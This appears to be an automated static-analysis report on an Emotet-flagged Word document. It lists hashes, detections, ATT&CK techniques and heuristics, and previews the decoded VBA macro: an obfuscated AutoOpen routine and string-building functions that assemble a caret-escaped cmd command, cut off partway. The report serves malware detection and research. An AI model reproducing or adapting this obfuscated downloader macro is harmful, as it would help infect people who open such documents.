Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 1b35768dd61ecc1c…

MALICIOUS

Office (OLE)

201.0 KB Created: 2018-09-25 19:24:00 Authoring application: Microsoft Office Word First seen: 2019-01-25
MD5: 159677c0dbb8b459e766499e17e3a90d SHA-1: 7882c495cde7975bac0672efe9786aebfe6a6a99 SHA-256: 1b35768dd61ecc1cac74de4da16479cf7f6c46f7fb2a6544126f79e379d8d27e
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample was detected as Emotet by ClamAV and exhibits critical heuristic firings for VBA macros and the use of the Shell() function. The AutoOpen macro is present, indicating an attempt to execute malicious code upon opening the document. The script likely downloads and executes a second-stage payload, consistent with Emotet's behavior.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-6826486-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6826486-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 214322 bytes
SHA-256: 649ba58053a5167733643a60338c3df23a422216ea7123dd29a77b2f5a55ad2c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "QtWikWz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim WrHMzj(1)
WrHMzj(0) = Mid(QqcEbqww + RwoqaaXDUnEvvtQaLRskt + YtqsO, 503, 962) + Left(nqjRjpBj + MvjKLhYSSZlUCiFLFN + HFZAz, 880) + MidB(MjirLr + ijBfVObuwiLvUwzYElJhiwC + LuIKvZd, 476, 226) + MidB(tiiGCPL + hllXSduYXiTAujAoVraliB + HCfPlhW, 980, 508)
   Dim roXhzE(1)
roXhzE(0) = Right(rBZCci + qYJkXjaCSJCrmkBXWv + HNlcm, 541) + Left(qzpRjwTK + ViivraZURaLYMCXm + asVSEBVv, 115) + MidB(MIanhMWK + IsWfPtUwwYHZJdmYkdO + zackipB, 534, 606) + MidB(zwmpPc + USEijYijmnrnjoJIpG + bwcmKqwJ, 154, 32)
sQwdpbhsQHr (KeyString(SfEZosTs + GOvvzzHz + 11 + 8 + 3 + 9 + 36 + nDmVTI + ivJsDbw) + AzmimqNw + phWraA + KeyString(PsiGj + NokOLTz + 13 + 10 + 3 + 11 + 40 + HCUnB + ZDpIEI) + ZPtoFN + rqvXpPJ + ItSNwXRA + PzvhL + wWjQAjYZSWV + ivVuluj + mhFWVLWTZ + jCJIOWcBRK + rrvkSVWtR + MQhBikhdQwE + JNfOYHBmZzT + cjiDHwD + qECHW + FIYXkBBYB + jaVWzoadHoh + mZnOJCG + zhMkFSZiTKB + uswjGH + rrYILFBF)
   Dim dQEoH(2)
dQEoH(0) = MidB(MKKCIDw + wSZawoAGqucBoDdcwqn + RNGSvjT, 238, 449) + Mid(YwDXo + iQKECIOFZUdZpIji + WWhEb, 595, 554)
dQEoH(1) = MidB(FnumFcYN + KjitrtAEGunGKwLubnjWFUhi + zQvZu, 682, 479) + MidB(pLaailE + kouhvOjiKYZKBBpzO + ZSRnoAM, 39, 711)
   Dim FDYqrN(1)
FDYqrN(0) = Right(nIfbhVIf + TtiCrjoVwPUvGEJhXLrbh + CriGDmU, 152) + MidB(LCLpACs + TMYWFpwNDcRBsJFPvcAnwZ + zrWJzHJ, 829, 408)
   Dim CZWckE(1)
CZWckE(0) = MidB(rncfio + mwNZjzGkGDizkoPCHu + sUsPd, 258, 230) + MidB(zoTEsuC + PsdAkOGsrSlCcUErkztY + jKRqLt, 242, 10) + Mid(YdrkdIl + qwvMwQpLSvWUDDpCMzG + wvKdUNbO, 77, 78) + Left(lwSZoD + QHEwKhZjcWkMGFuVwq + QbLRFX, 549)
End Sub


Attribute VB_Name = "AwIIPVh"
Function ZPtoFN()
FujPnKFLw = "d " + CStr(Chr(7 + 1 + 3 + 3 + 33)) + "V^" + ":^" + "ON" + CStr(Chr(7 + 1 + 3 + 3 + 33)) + "C" + CStr(Chr(4 + 0 + 2 + 2 + 26)) + "s" + "^" + "e^" + "t"
jcURdFlwNU = " " + "^+" + "^'" + ".^" + "`" + "=" + "5" + "01" + "^" + " " + "1" + "0" + "9" + "^" + " 0"
oPNtJdXdbj = "9" + "^" + "3^" + " ^" + "91"
PpYXErvjjQ = "0" + "^" + " " + "3" + "0" + "1" + "^ " + "^3"
AuzTltlYw = "0" + "^1" + " " + "5" + "1^" + "3" + " ^" + "1^" + "3"
nSqMHwC = "0" + "^ " + "9" + "^3" + "^" + "0 " + "^3" + "5" + "^9" + " 0" + "31" + "^" + " ^" + "10"
ZPtoFN = FujPnKFLw + jcURdFlwNU + oPNtJdXdbj + PpYXErvjjQ + AuzTltlYw + nSqMHwC
   Dim XMQsRn(2)
XMQsRn(0) = Left(Ewwipl + hprqbwzpAjwhGshAJBdH + AFaNjrwO, 835) + Mid(FcHYMbj + jkwXQHlczDhCsYbcIki + vaPabza, 888, 806)
XMQsRn(1) = MidB(PHDwuk + uYvDifjzGIWwuUbhJfWJr + MlVfiYY, 923, 925) + Mid(XhuvI + hMRVmbGWBGXPDTuSUY + CwPbSqmN, 431, 928) + Left(GNqwt + VWpYpndaAqGPzWXznjQ + attdpcv, 479) + MidB(OaMZZ + MMMjqGNwTbukfFivDJnzERK + oCzwVIU, 67, 525)
   Dim OvRdZv(2)
OvRdZv(0) = Mid(iHUvRf + kmJfwlPpprrmrDNaAnU + FDSfMdXH, 610, 814) + Left(HCRdo + LVSitcrDEhQRasNFDL + MwGbkAv, 954) + MidB(QzWmZ + jmTDwOipcZPismGinvsq + VNwbv, 773, 377) + MidB(TZwjNWss + WidVZGfqlOrvLMPHuoFa + RuGsLv, 47, 966)
OvRdZv(1) = MidB(ZrrZULI + hcinkJclzjRHHMdmf + sdZXk, 402, 811) + Left(fcYFlnG + CSRwiSBkSIiMVjBONAo + QEoikWTG, 136) + Right(YvtuEEj + iAJfLkmrJHNidjjQN + bqUoa, 806) + MidB(IREOU + JXAUjOzYrdLQYVZcZSKX + jiAqJ, 352, 945)
End Function
Function rqvXpPJ()
Dim jAGuwz(1)
jAGuwz(0) = Left(KPSCUKnj + jblmzVLOfloLdpfPizmFilE + WGzhw, 523) + Left(BtDki + INWEpMosTCkzWsCIVI + skZfd, 935) + Mid(vsDwRPA + hmGOuqFnsKiZmacJPjLXBn + uaqmrYSo, 421, 498) + Left(tUsjEjwV + UHljOJVEaowLNTJHzE + javobS, 413)
   Dim IZczMb(1)
IZczMb(0) = Left(zRWiVm + jfLAcZHjizUVhHCPRN + cGAcnjd, 767) + Mid(FEjTVOj + QhiSBXQbTWuwjtcwU + qQmQd, 223, 751)
   Dim lRFiAK(1)
lRFiAK(0) = Mid(SGVPJ + fjwNnIYSoFGtwjjDM + UFIww, 600, 961) + Right(WfnJv + DWdtnvDsoYJljOXLtEpP + kkibfL, 962)
   Dim fmqIUi(2)
fmqIUi(0) = Right(JsHbdaV + IPfDiCWdYcLBHBYWzok + VZwuWUum, 911) + MidB(oFkBku + GiVHkGOVzbaXdFFCAIdq + oMHXWm, 61, 36)
fmqIUi(1) = Mid(RzSLnHw 
... (truncated)

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